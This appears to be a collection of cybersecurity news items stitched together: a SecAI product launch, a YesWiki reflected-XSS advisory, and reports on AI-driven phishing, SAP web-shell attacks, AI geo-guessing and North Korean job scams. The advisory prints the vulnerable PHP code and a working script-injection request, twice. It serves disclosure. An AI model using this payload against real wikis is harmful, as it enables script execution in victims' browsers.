San Francisco, United States, 29th April 2025, CyberNewsWire

**San Francisco, United States, April 29th, 2025, CyberNewsWire**

**By fusing agentic AI and contextual threat intelligence, SecAI transforms investigation from a bottleneck into a force multiplier.**

SecAI, an AI-enriched threat intelligence company, made its official debut today at RSA Conference 2025 in San Francisco, marking the company’s first public appearance on the global cybersecurity stage. At the event, the SecAI team is showcasing the latest version of its platform to security professionals from around the world.

The updated **SecAI Investigator** platform is purpose-built to solve one of cybersecurity’s most stubborn challenges: efficient threat investigation. It tackles this by combining two key innovations. First, it delivers curated, high-fidelity threat intelligence, which includes clear verdicts, multi-dimensional labels, and rich context like historical attack behavior through a unified interface. Second, it’s designed from the ground up with an AI-native architecture. The platform leverages advanced AI techniques not only for natural language interaction, but for deep information integration, contextual security reasoning, and suggest remediation options. 

SecAI Booth At RSA Conference 2025, N-6570

> “We believe the future of cybersecurity lies in intelligent systems that can think and adapt like seasoned analysts,” said **Chase Lee, Managing Director at SecAI**. “Threat investigation has remained one of the most human-intensive parts of the SOC, but it doesn’t have to be. By combining deep threat intelligence with agentic AI, we’re not just accelerating investigations—we’re reshaping what’s possible in cyber defense. This is about giving security teams superhuman capabilities to meet the scale and speed of modern threats.”

In the security operations lifecycle—typically divided into detection, investigation, and response—automation has advanced detection and response dramatically over the past decade. But investigation remains a critical bottlenecks, often consuming over 70% of analysts’ time. SecAI believes that effective investigation depends on two essential capabilities: accurately gathering and organizing relevant information, and making sound, timely judgments. The main blockers today are:

*   A lack of timely, comprehensive threat intelligence
*   Ineffective methods for connecting data points to practical workflows

SecAI Investigator addresses both. By streamlining the investigation process, the platform enables analysts to rapidly evaluate the nature and relevance of IPs, domains, and threat actors, dive deep into logs and alerts, and make faster, more confident decisions.

Looking ahead, SecAI plans to roll out API and threat intelligence feed integrations, allowing customers to embed SecAI’s contextual threat intelligence directly into their existing systems and workflows. This will enable real-time enrichment, faster responses, and more scalable intelligence-driven operations across teams.

Users can visit SecAI Investigator to explore the platform or connect with the SecAI team at RSA Conference 2025 at Booth 6570 for live demos and early access.

**About SecAI**

SecAI is an AI-native cybersecurity company specializing in threat detection, investigation, and response. By deeply analyzing adversary tactics, techniques, and procedures (TTPs) and fusing advanced generative AI with rich, contextual threat intelligence, SecAI delivers smarter, faster, and more effective solutions for modern security teams. The team’s mission is to transform cybersecurity operations by empowering analysts with intelligent systems that scale expertise and accelerate decision-making.

**Contact**

**PR Manager**  
**Nicholas Tan**  
**SecAI**  
**\[email protected\]**

SecAI Debuts at RSA 2025, Redefining Threat Investigation with AI

### Summary
Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

- YesWiki v4.5.3 (doryphore-dev branch)
- Docker environnment (docker/docker-compose.yml)

### Vulnerable code
The vulnerability is located in the [file](https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735)
```
        public function showUploadForm()
        {
            $this->file = $_GET['file'];
            echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
            echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
                . '	<input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
                . '	<input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
                . "	<input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
                . "	<input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
                . '	<input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
                . "</form>\n";
        }
```
### PoC
1. You need to send a request to endpoint and abusing the `file` parameter, we can successfully obtain client side javascript execution
```
GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: localhost:8085
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Accept-Language: ru-RU,ru;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
```
2. Get a response
<img width="853" alt="Снимок экрана 2025-04-11 в 02 04 55" src="https://github.com/user-attachments/assets/b923f563-ead5-494c-8fbd-1c3b11635820" />


### Impact
This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

**Summary**

Reflected XSS has been detected in the file upload form. Vulnerability can be exploited without authentication

This Proof of Concept has been performed using the followings:

*   YesWiki v4.5.3 (doryphore-dev branch)
*   Docker environnment (docker/docker-compose.yml)

**Vulnerable code**

The vulnerability is located in the file

            public function showUploadForm()
            {
                $this->file = $_GET['file'];
                echo '<h3>' . _t('ATTACH_UPLOAD_FORM_FOR_FILE') . ' ' . $this->file . "</h3>\n";
                echo '<form enctype="multipart/form-data" name="frmUpload" method="POST" action="' . $this->wiki->href('upload', $this->wiki->GetPageTag()) . "\">\n"
                    . '	<input type="hidden" name="wiki" value="' . $this->wiki->GetPageTag() . "/upload\" />\n"
                    . '	<input type="hidden" name="MAX_FILE_SIZE" value="' . $this->attachConfig['max_file_size'] . "\" />\n"
                    . "	<input type=\"hidden\" name=\"file\" value=\"$this->file\" />\n"
                    . "	<input type=\"file\" name=\"upFile\" size=\"50\" /><br />\n"
                    . '	<input class="btn btn-primary" type="submit" value="' . _t('ATTACH_SAVE') . "\" />\n"
                    . "</form>\n";
            }
    

**PoC**

1.  You need to send a request to endpoint and abusing the file parameter, we can successfully obtain client side javascript execution

    GET /?PagePrincipale/upload&file=%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
    Host: localhost:8085
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="135", "Not-A.Brand";v="8"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "macOS"
    Accept-Language: ru-RU,ru;q=0.9
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    

2.  Get a response

**Impact**

This vulnerability allows any malicious unauthenticated user to create a link that can be clicked on in the victim context to perform arbitrary actions

**References**

*   GHSA-2f8p-qqx2-gwr2
*   YesWiki/yeswiki@0dac9e2
*   https://github.com/YesWiki/yeswiki/blob/6894234bbde6ab168bf4253f9a581bd24bf53766/tools/attach/libs/attach.lib.php#L724-L735

GHSA-2f8p-qqx2-gwr2: YesWiki Vulnerable to Unauthenticated Reflected Cross-site Scripting

2024 wasn't the year that AI rewrote the cybercrime playbook — but it did turbocharge some of the old tricks. Read this summary of AI-based threats, from Talos' 2024 Year in Review.

Tuesday, April 29, 2025 05:47

2024 wasn't the year that AI rewrote the cybercrime playbook — but it did turbocharge some of the old tricks. In Cisco Talos' 2024 Year in Review, with the help of our friends at Robust Intelligence (now a Cisco company), we dissect how cybercriminals used generative AI to scale up social engineering, fine-tune phishing, and automate grunt work like OSINT gathering.

So while AI didn't completely rock the threat landscape last year, the groundwork is being laid for 2025, where agentic AI and automated vulnerability hunting could cause some significant challenges for defenders. Our research showcases the top four areas of concern for the coming year.

Curious about how AI could impact your defenses — or your data — this year? Take a look at this summary of AI-based threats:

Need a 60 second summary? Take a look at this video:

Download Talos' 2024 Year in Review.

Also check out Cisco's State of AI Security report.

Year in Review: AI based threats

Darcula phishing platform adds AI to create multilingual scam pages easily. Netcraft warns of rising risks from Darcula-Suite…

Darcula phishing platform adds AI to create multilingual scam pages easily. Netcraft warns of rising risks from Darcula-Suite upgrade.

Cybersecurity researchers at Netcraft’s threat intelligence division have revealed that cybercriminals behind the phishing-as-a-service (PhaaS) platform Darcula have introduced a new upgrade to its toolkit, called Darcula-Suite. This update integrates artificial intelligence to enhance the capabilities of this already widely used phishing kit.

Ai Integration Announcement (Source: Netcraft)

According to Netcraft’s report shared with Hackread.com, in early 2025, Netcraft identified Darcula version 3, which introduced a redesigned admin dashboard and Darcula-Suite desktop application. This allowed users to create custom phishing kits, even without coding or web development skills.

The tool automatically copies a website URL, allowing attackers to target uncommon brands. This customization makes traditional detection methods less effective, Netcraft’s researchers noted, requiring dynamic, behaviour-based security approaches to counter this issue.

On April 23rd, Netcraft detected the integration of generative AI into Darcula-Suite, allowing users to generate phishing forms in any language, customize form fields, and automatically translate entire forms while maintaining the original layout.

This incorporation of AI technology is a game-changer because it significantly lowers the technical skills needed to create convincing fake websites designed to steal sensitive information.

Now, even individuals with limited technical knowledge can quickly develop customized scam pages with support for multiple languages and automatically generated forms, all without requiring any programming expertise.

It is worth noting that Netcraft had previously reported on Darcula’s platform, which is used for widespread and targeted smishing attacks, in March 2024 and February 2025. Over time, Darcula has evolved into a sophisticated, subscription-based system that offers tools and speed comparable to modern tech startups.

Darcula platform is operated by Smishing-Triad, a notorious Chinese cybercrime group known for carrying out mass-targeting attacks globally through SMS-based phishing, or “SMSishing.” Last year, Hackread.com reported Smishing Triad targeting online banking, e-commerce, and payment systems in the US, EU, UAE, KSA, and smartphone users in Pakistan.

Darcula is a service model designed for expansion. It offers users tools to imitate organizations in various countries, built using modern technologies like JavaScript frameworks, Docker, and Harbor, mirroring the setup of legit SaaS (software-as-a-service) firms. Operators use SMS, RCS (Rich Communication Services), and iMessage to spread phishing attempts, using advanced tactics like making links clickable on iOS devices to trick recipients into responding.

Netcraft has taken significant action against Darcula since March 2024, removing over 25,000 fake websites, blocking nearly 31,000 IP addresses, and detecting over 90,000 phishing domains. They predict the AI-enhanced Darcula-Suite will become more popular among cybercriminals.

To protect against this threat, Netcraft advises caution with messages in RCS groups, scepticism towards unknown numbers on RCS or iMessage, and caution when visiting less familiar websites.

Darcula Phishing Kit Uses AI to Evade Detection, Experts Warn

Microsoft has revealed that a threat actor it tracks as Storm-1977 has conducted password spraying attacks against cloud tenants in the education sector over the past year.
"The attack involves the use of AzureChecker.exe, a Command Line Interface (CLI) tool that is being used by a wide range of threat actors," the Microsoft Threat Intelligence team said in an analysis.
The tech giant noted that

Storm-1977 Hits Education Clouds with AzureChecker, Deploys 200+ Crypto Mining Containers

A critical vulnerability (CVE-2025-31324) in SAP NetWeaver Visual Composer puts systems at risk of full compromise. Learn how…

A critical vulnerability (CVE-2025-31324) in SAP NetWeaver Visual Composer puts systems at risk of full compromise. Learn how to check if your SAP Java systems are affected and the immediate steps to take.

A serious security vulnerability, identified as CVE-2025-31324, was discovered in SAP NetWeaver’s Visual Composer development server. This critical issue, scoring a perfect 10.0 in severity, stems from a missing check that should verify if a user has the correct permissions and is being actively exploited, reveals a report from Onapsis Threat Intelligence. 

Research reveals that the flaw is active on between 50% and 70% of existing SAP NetWeaver Application Server Java systems, even though it’s not automatically installed.

Reportedly, the vulnerability, first documented by ReliaQuest, exists in the “developmentserver” part of the SAP Visual Composer, a component of SAP NetWeaver 7.xx, designed to create business tools without writing code.

The problem occurs because the system doesn’t properly check if someone accessing the Metadata Uploader feature is actually allowed to do so. This lack of proper authentication and authorization allows unlogged users to access powerful functions.

On April 22nd, ReliaQuest observed suspicious activity on patched SAP NetWeaver servers, suggesting attackers might have been using a different, unknown vulnerability. On the same day, SAP acknowledged unusual files being found on SAP NetWeaver Java systems, as described in their knowledge base article SAP KBA 3593336. On April 24th, SAP released a FAQ document (SAP Note 3596125) confirming that files with extensions like ‘.jsp’, ‘.java’, or ‘.class’ found in specific folders like …\\irj\\root, …\\irj\\work, and …\\irj\\work\\sync are likely malicious. 

Finally, on April 24th, SAP officially announced CVE-2025-31324, clearly stating it was due to a “Missing Authorization check in SAP NetWeaver (Visual Composer development server)”. They confirmed that the root cause is a lack of proper permission checks, allowing unauthorized individuals to upload dangerous executable files and an out-of-band emergency NetWeaver update has been released.

This flaw, classified as a Missing Authorization issue (CWE-862) or Missing Authentication for Critical Function (CWE-306), poses a significant risk of system takeover if exploited, which is why it has earned the highest severity score.

It can be remotely exploited using standard web communication methods (HTTP/HTTPS). Security experts have observed that attackers are targeting a specific web address: /developmentserver/metadatauploader, by sending specially crafted requests and since no login or authentication is needed to carry out an attack, anyone, even without an account, could interact with the system’s vulnerable part and upload any file.

According to Onapsis’s blog post, malicious code files called webshells titled “helper.jsp” or “cache.jsp” are already being uploaded, allowing attackers to execute commands with high-level permissions as software administrators (<sid>adm) and obtaining full control over SAP resources.

> _“Threat actors have been observed uploading web shells to vulnerable systems. These webshells allow the threat actor to execute arbitrary commands in the system context, with the privileges of the adm Operating System user, giving them full access to all SAP Resources.”_
> 
> Juan Perez-Etchegoyen – CTO at Onapsis

SAP urges customers to promptly assess their risk by checking for Java systems, the presence and version of the VCFRAMEWORK component (especially if older than 7.5 or specifically 7.0 with a support package below 16), as the vulnerable component might not be present in basic Java stack or default Solution Manager installations. Implementing the official fix is the only solution to mitigate this risk.

Benjamin Harris, CEO of Attack Surface Management firm watchTowr, warned that unauthenticated attackers are actively exploiting a vulnerability in SAP NetWeaver to upload arbitrary files, leading to full system compromise.

“This isn’t theoretical, it’s happening now,” Harris said, noting that attackers are planting web shell backdoors to deepen their access. He urged immediate patching via SAP Security Note 3594142, emphasizing, “If you thought you had time, you don’t.” Harris added that watchTowr clients were alerted to exposures within 12 hours, thanks to the platform’s rapid detection capabilities.

SAP NetWeaver Flaw Scores 10.0 Severity as Hackers Deploy Web Shells

Software development is about to undergo a generative change. What this means is that AI (Artificial Intelligence) has…

Software development is about to undergo a generative change. What this means is that AI (Artificial Intelligence) has the potential to make developers more productive, as three systems on the market already provide this: GitHub Copilot, Anthropic’s Claude and OpenAI’s ChatGPT.

Hence, every developer, no matter if he or she specializes in AI or not, needs to understand and realize that as this technology is advancing so rapidly, any of us needs to know what it is, why it is relevant, and how to use it.

In this article, we will explain what generative AI exactly is, what functionality current systems bring, why it is going to be ubiquitous for developers, and tips on how to start working with it. Additionally, we’ll bust some of the generative AI replacement of developers altogether. Acquiring this new tool and doing so while not becoming too attached to it will give technology an advantage over other forms of technology.

****What is Generative AI?****

Machine learning systems that generate digital content, novel and of high-quality on-demand are generative AI. It includes anything from images, audio, and video to text as well as computer code and companies are increasingly turning to generative AI development services to harness their full potential.

In contrast to the analysis most AI has been focused on to date (categorizing existing data), generative models create brand-new artefacts. Advances in deep learning have enabled them to take in enormous datasets and to build an understanding to generate outputs that have never been seen before.

Prominent examples include DALL-E 3 for images, Jasper for audio, and GitHub Copilot for code. These models can take in a text prompt and return a relevant, realistic output in seconds without manual programming.

****Current Capabilities for Developers****

For programmers specifically, generative AI promises to boost their productivity. Modern systems can suggest entire code functions or applications based on English descriptions to save developers time and reduce bugs.

GitHub Copilot, for example, is a plugin for code editors like VS Code. As a developer writes a function, Copilot can suggest full implementations by analyzing existing code and understanding the English context. It can complete boilerplate code, debug issues, integrate APIs, and more.

Claude 3.7, Anthropic’s writing assistant, offers interactions that fall into the same category as writing assistants. Conversing with an AI in plain English to translate ideas into code in code. You can give an application what to do, walk through examples, ask questions to clarify, and Claude gives you runnable programs.

Such early examples show how generative AI accepts natural language rather than rigid, fixed rules as older technologies were; it is based on accepting natural language as input. With this, it is more intuitive and even accessible.

****Why Every Developer Should Care****

Even if you don’t specialize in AI, there are compelling reasons all technologists should closely monitor advancements in generative models:

It will become ubiquitous whether you like it or not

There is too much momentum and progress for generative AI not to infiltrate software workflows. OpenAI alone recently received nearly $750 million from Microsoft, plus more from other tech giants using its systems. With so much investment, expect rapid improvements.

It will make you more productive

Studies on Copilot show it can boost developer velocity by at least 30% once accustomed to the workflow. You don’t want competitors leveraging generative AI to build faster while you code manually.

It reduces simple but time-consuming tasks

No developer enjoys manually writing boilerplate code, documentation, tests, etc. But these tasks still take up a lot of time. Generative AI can autogenerate these routine but necessary functions to focus human efforts on complex problem-solving.

It handles legacy systems, so you don’t have to

Generative models are great for working with legacy systems. They integrate easily with outdated codebases, protocols and architectures that human engineers don’t want to work with. This allows you to build new solutions as opposed to keeping old ones.

It makes you a 2x engineer

Conceptual breakthroughs are created by outstanding developers and used to have an impact across the board. Generative AI’s power is that any engineer can create any logic in reality at least 2x faster (PDF). This technology enables world-changing applications to be brought to market today instead of months or years from now.

****How To Prepare as a Developer****

Generative AI will soon be a basic skill for professional engineers, like using IDEs or version control. Here are key ways to get ahead of the curve:

*   Experiment with GitHub Copilot, Claude, and related playgrounds. Get firsthand experience prompts that can spark whole applications.

*   Don’t fear; these tools will “take your job.” Enhance your human creativity with AI as a force multiplier. Find gaps in existing models where humans still shine over pure automation.

*   Advocate for adopting these tools at your company early, before the competition does. Pitch how it benefits users and customers, alongside developers.

*   Develop feedback loops, sharing why certain generated outputs are valuable or inadequate. The more humans train models, the better they become for everyone.

*   Get to understand the latest research from the company and its efforts. To keep up to date with anthropic frontiers, sign up for newsletters and updates from pioneers: Anthropic, Cohere, Google and others.

AI will never have the capacity to master all tasks, whether those are too unique, dynamic or complex for AI to do on its own. However, use models for what they do well and augment your human skills. This will be the future path of development: combining minds with machines.

****Busting Myths that Generative AI Replaces Developers****

With any disruptive technology, fears and misconceptions often arise around impacts on jobs. Rest assured, human developers will remain essential even as generative AI becomes widespread.

Here are common myths about generative models replacing engineers rather than augmenting them:

*   **Myth.** AI can build full-stack consumer web apps today with no human involvement.

*   **Reality.** Modern systems only generate code, not deploy full-stack apps. You still need developers to integrate outputs, train models, and handle infrastructure.

*   **Myth.** These models understand user needs and product requirements without human input.

*   **Reality.** AI has no sense of end-user behaviour or product thinking. Humans must provide a creative vision and real-world grounding.

*   **Myth.** Generated code is highly reliable and secure.

*   **Reality.** Raw model outputs still contain bugs and vulnerabilities. Humans provide QA, testing, auditing and oversight where AI falls short.

*   **Myth.** Anyone can prompt an AI to build an app without programming skills.

*   **Reality.** You still need engineers to validate code quality, connect components, identify limitations, and guide iterative improvement.

The key is viewing AI as a supportive tool rather than a wholesale replacement. Developers themselves utilize generative models just as they do compilers, debuggers, and clouds. But human creativity, judgment, and oversight remain indispensable.

**Augmenting Developers for the Future**

Hopefully, this breakdown demystifies generative AI and why it matters. These technologies aim to free engineers from drudgery so they can focus on more fulfilling, impactful work only humans can perform.

However, development will transform in the next five to ten years. Those who embrace this shift will have the most dynamic, stimulating, and rewarding careers. Others who deny how software creation is changing risk frustrating obsolescence.

Increasing general coding and automated task democratization means more people can make more ambitious projects than ever before possible. The future of AI-assisted inventions is something developers should cheer about rather than fear, with things remaining the same.

An open-minded attitude towards human and AI coexistence allows engineers to dream bigger, and faster and to make those dreams real. Complex problems in the world are desperate for innovative applications. Shortcuts are provided to that long timeline imposed by traditional code: generative models.

So while modern AI does have clear limits, its rapid pace of progress makes anticipating its potential more prudent than downplaying its capabilities. Get hands-on experience today rather than dismissing models as toys. Help drive breakthroughs by training them ethically. Then code the future you wish to see.

Why Developers Should Care About Generative AI (Even They Aren’t AI Expert)

After hearing about ChatGPT o3 ability at geo-guessing we decided to run some tests and the tested AIs didn't fail to amaze us

If you are worried about revealing your exact location—or if you maybe even fib about it at times—there are some good reasons to worry about what is visible in background photos, because Artificial Intelligence (AI) is getting very good at guessing where you are based on the smallest of clues. And that might even include audio clues, if given the right data.

Our curiosity was triggered by this article in TechRadar claiming that ChatGPT o3 can geo-guess your location from almost any photo. So, we decided to do some tests and removed the metadata from a few selected photographs that I took myself and never published anywhere (for quality reasons, obviously).

Metadata can include technical details like camera settings, date and time, location, and descriptive information like captions or keywords. And we wanted to test the AI’s capability on the picture itself—not on additional data included in the file. I also used a VPN so I didn’t give away my current location.

We started with an easy one. A landmark in a relatively large city, but from a strange perspective. The picture was part of a selfie taken through a window of an office building in Cork.

view over Cork, Ireland

It was no real surprise that ChatGPT got this right.

> “Alright, let’s break this one down — this does have some standout features that make it easier to geo-locate. Here’s the reasoning step by step:”

> **🧱 Architectural Clues:**
> 
> *   The old stone building in the foreground has **Georgian-style windows and masonry**, which are common in parts of the British Isles, especially in **Ireland** and **the UK**.
> *   The clock tower in the back-left with the **green copper dome** is particularly distinctive and often used in civic buildings in Ireland.
> *   The **mix of historical and modern buildings**, with the newer glass-fronted offices across a small river or canal, suggests urban regeneration in a historically rich city.

> **🌉 Infrastructure and Environment:**
> 
> *   The modern bridge with a **blue banner advertisement** and the **tree-lined waterfront** hints at a city that integrates riverways into its urban design.
> *   The road signs and general driving direction suggest **left-hand traffic**, supporting a guess of **Ireland or the UK**.

> **🏛** **Key Landmark:**
> 
> The building with the green dome in the background looks **very much like the clock tower of Cork City Hall in Ireland**. The angle of the shot shows the old Custom House building in front, and the modern offices across the **River Lee**, which runs through Cork.

This was spot on. But surely ChatGPT is not the only AI good at geo-guessing, so we used the same picture to test Perplexity as well.

> “This image provides several strong clues for geo-guessing:
> 
> The architecture of the foreground building is classic Georgian or early Victorian, with grey stone and sash windows—styles common in the British Isles, especially Ireland and the UK.
> 
> The river, modern glass buildings, and the steel bridge suggest a city that blends historical and contemporary elements.
> 
> The most distinctive feature is the clock tower with a green dome in the background. This is a well-known landmark: the Cork Courthouse clock tower in Cork, Ireland.
> 
> The bridge over the river and the combination of old and new buildings align with the area around the River Lee in Cork city centre.
> 
> **Conclusion**
> 
> This photo was taken in Cork, Ireland, looking out over the River Lee. The stone building in the foreground is part of the historic courthouse complex, and the green-domed clock tower is a prominent feature of Cork’s skyline. The modern glass buildings and bridge further confirm this as central Cork, a city known for its mix of heritage and modern development.”

Perplexity provided almost the same level of accuracy, so we decided to raise the difficulty level. A lot.

Landscaping in progress around Dutch holiday home

You’ll have to agree that this photo doesn’t give away a lot. But the AI tools took some unexpected clues from the picture.

Here is what ChatGPT determined:

> **🧩 Visual Clues:**
> 
> 1.  **Architecture:**
>     *   The buildings are modular and prefabricated in appearance, with light-colored paneling and dark window/door frames.
>     *   This type of house is common in northern Europe, especially in the Netherlands, Germany, Denmark, or parts of the UK.
> 2.  **Landscape:**
>     *   Very flat terrain with closely trimmed hedges and grassy areas.
>     *   This suggests low-lying regions—again pointing to places like the Netherlands or Belgium.
> 3.  **Infrastructure & Construction Tools:**
>     *   The pavers being laid and the wheelbarrows used (particularly the yellow color and shape) are very common in northern and western European construction.
> 4.  **Weather and Lighting:**
>     *   Overcast sky and soft, diffused lighting typical of northern Europe in autumn or early spring.
> 5.  **Small Details:**
>     *   The small shed in the back, the organization of tools, and cleanliness/horticulture are consistent with Dutch/German design sensibilities.
>     *   The wheelbarrow has the brand name “Fort”, which is a Dutch manufacturer—this is a **very strong clue**.
> 
> **🌍** **Likely Guess:**
> 
> **The Netherlands** 🇳🇱
> 
> **📍****Narrowing it Down:**
> 
> Given the modular housing, flat landscape, and Fort-brand wheelbarrow, this could be a holiday park, construction site, or suburban area in the Dutch countryside. Possibly in a province like **North Holland**, **South Holland**, or **Friesland** where such structures and environments are typical.

I must admit I was amazed that it mentioned South Holland which is where this photograph was taken.

Perplexity did not come as close as ChatGPT, but the tool did reach this conclusion:

> “Based on architectural style, landscaping, and contextual clues, this scene is almost certainly from the Netherlands. It showcases the country’s embrace of modular housing and practical, tidy outdoor spaces, reflecting broader trends in Dutch residential design and sustainable living.”

Which is still a lot better than I expected when I selected that picture.

**Bird songs**

So, modern AI tools can pick up visible clues. But then I had another idea—call it an epiphany if you will—which deserves a brief explanation. I use an app called Merlin Bird ID which is able to identify birds based on their singing.

Some bird species are a lot more local than others, so I asked Perplexity:

> “Would it be possible to do geo-guessing based on bird songs? And how many species do you think it would take to make a good guess?”

The answer:

> “How Many Species Are Needed?
> 
> One Species: Sometimes, a single species is enough if it’s highly range-restricted (e.g., endemic to an island or a small region). However, this is rare.
> 
> A Few Species (3–5): In most cases, hearing three to five distinct species can allow for a strong guess, especially if their ranges only overlap in a limited area.
> 
> More Species, More Precision: The more species you can identify, the more precisely you can geo-locate. With about 10–15 species, especially if some are local specialties, you can often narrow it down to a specific region, habitat, or even a particular park or reserve.”

So, I tried an experiment and offered both AI tools (ChatGPT and Perplexity) a list of bird song matches made from my Merlin Bird ID app. Here is the bird list, and what they tell us about where those birds are located:

**Latin Name**

**Common Name**

**Clue**

**Fringilla coelebs**

Chaffinch

Common across Europe

**Turdus merula**

Eurasian Blackbird

Also common across Europe

**Parus major**

Great Tit

Ubiquitous, widespread

**Grus grus**

Common Crane

Migratory — breeds in Scandinavia, Baltics, parts of Central Europe; passage bird elsewhere

**Carduelis carduelis**

European Goldfinch

Europe and western Asia

**Turdus viscivorus**

Mistle Thrush

Forests, open woodland — common in Europe

**Certhia brachydactyla**

Short-toed Treecreeper

Tells us something — this species avoids northern/colder parts of Europe (rare in the UK, absent in Scandinavia)

**Ardea alba**

Great Egret

Formerly rare in Europe, but now expanding — increasingly common in wetlands and rivers of Central and Southern Europe

**Sylvia atricapilla**

Eurasian Blackcap

Woodland; migratory in north, resident in south

**Anthus trivialis**

Tree Pipit

Breeds in open woodlands across Europe; migratory

**Vanellus vanellus**

Northern Lapwing

Farmland, wet grasslands; declining in the west but still widespread

In analyzing this list, Perplexity was the “winner,” able to more accurately guess my location:

> “Given all of these factors, my best guess is that you were somewhere in Northern Europe, likely Germany, Denmark, the Netherlands, or the UK. Without more information about habitat (e.g., forest, farmland, coast), it’s difficult to narrow it down further.”

Here was ChatGPT’s response to the same bird song list:

> **🗺️** **My Final Geo-Guess:**
> 
> You were likely in **Germany** — possibly in **northern or eastern Germany** (e.g., Brandenburg or Mecklenburg-Vorpommern), which is:
> 
> *   On the **Grus grus migration route**
> *   Rich in mixed forests and wetlands
> *   Within the range of **Certhia brachydactyla**
> *   Likely to host **all the species** you heard, in late April

In reality, the birds were recorded near the Dutch-German border, which put ChatGPT off by almost 400 miles, whereas Perplexity mentioned both countries I was in or close to, but covered a large area with its geo-guess.

**Conclusion**

If you’re making selfies or vlogging and you don’t want to give away your location, you’ll need to be very aware of your visual and auditory surroundings. A wheelbarrow of a specific brand or the sound of a bird with a limited habitat are enough to provide hints about your location. With enough hints, AI can deduce your exact location.

With social media being used for AI training, it is likely that these results will rapidly gain even more in accuracy.

**We don’t just report on threats – we help protect your social media**

Cybersecurity risks should never spread beyond a headline. Protect your social media accounts by using Malwarebytes Identity Theft Protection.

 AI is getting “creepy good” at geo-guessing 

Silent Push reveals a complex scheme where North Korean hackers posed as crypto companies, using AI and fake…

Silent Push reveals a complex scheme where North Korean hackers posed as crypto companies, using AI and fake job interviews to distribute malware. Protect yourself from these deceptive tactics. 

Cybersecurity firm Silent Push has uncovered a clever operation run by a North Korean hacker group, known as Contagious Interview, which has a link to the notorious Lazarus Group.

Reportedly, Contagious Interview has been tricking people looking for jobs in the crypto world through three different fake cryptocurrency companies: BlockNovas LLC, Angeloper Agency, and SoftGlide LLC. Their goal? To lure job aspirants into downloading harmful software onto their computers.

Fake Companies Profiles (Source: Silent Push)

According to Silent Push’s investigation, shared exclusively with Hackread.com, these fake companies use job postings on various websites, including well-known platforms like CryptoJobsList, CryptoTask, and Upwork, to attract applicants.

Once someone applies, the hackers send them what looks like legitimate interview-related files. However, these files contain malware. Researchers have observed several types of malware being used in this campaign, including BeaverTail, InvisibleFerret, and OtterCookie.

To make the scam seem real, Contagious Interview uses images created by artificial intelligence (AI) tools for employee profiles. Specifically, they used Remaker AI to generate some of these fake faces. Also, they use real online platforms like GitHub and job websites to appear more trustworthy.

Remaker AI Tool (Source: Silent Push)

Silent Push’s investigation revealed that Contagious Interview has a history of carrying out complex cyberattacks. In this new scheme, they use fake job offers and these three front companies to spread their malware. Once a victim’s computer is infected, the hackers can potentially access it remotely and steal sensitive data. They even try to hide their online activity using tools like VPNs.

The analysts successfully tracked the malware back to specific websites and internet addresses used by the hackers, including lianxinxiaocom, and even found a hidden online “dashboard” on a BlockNovas subdomain (mailblocknovascom) where the hackers were monitoring their fake websites and other tools. This “significant OPSEC failure” helped them identify the different fake companies and the malware being used.

Further investigation revealed many red flags. For example, the profile picture of a Backend Developer named Mehmet Demir linked to all three fake companies is AI-generated. This person is linked to three fake companies and has a history of suspicious online activity under the alias Bigrocks918. Another user, thegoodearth918, shared the same numerical suffix ‘918,’ used the same email and was linked to SoftGlide.

One user, “hades255,” identified as CTO of BlockNovas Gabriel Lima has an AI-generated photo and suspicious resume.  Other employee profiles also show signs of being fake, with AI-generated photos and other inconsistencies in their digital footprints. Even the recruiter for BlockNovas, Alexander Nolan, is using the image of a real person who has no connection to the company.

Analysis of files from the fake job application websites revealed hidden links leading to more malicious software, including FrostyFerret, and an unusual control panel named Kryptoneer, likely targeting the relatively newer crypto technology, Sui blockchain.

Silent Push researchers warn job seekers to be wary of unusual interview processes, requests to run unfamiliar code, and employee profiles that seem too good to be true or use generic-looking photos. These North Korean hackers are using increasingly sophisticated methods to trick unsuspecting individuals, and awareness is the best defence, researchers concluded.

North Korean Hackers Use Fake Crypto Firms in Job Malware Scam

In this episode of Uncanny Valley, our hosts explain how to prepare for travel to and from the United States—and how to stay safe.

Tag

#intel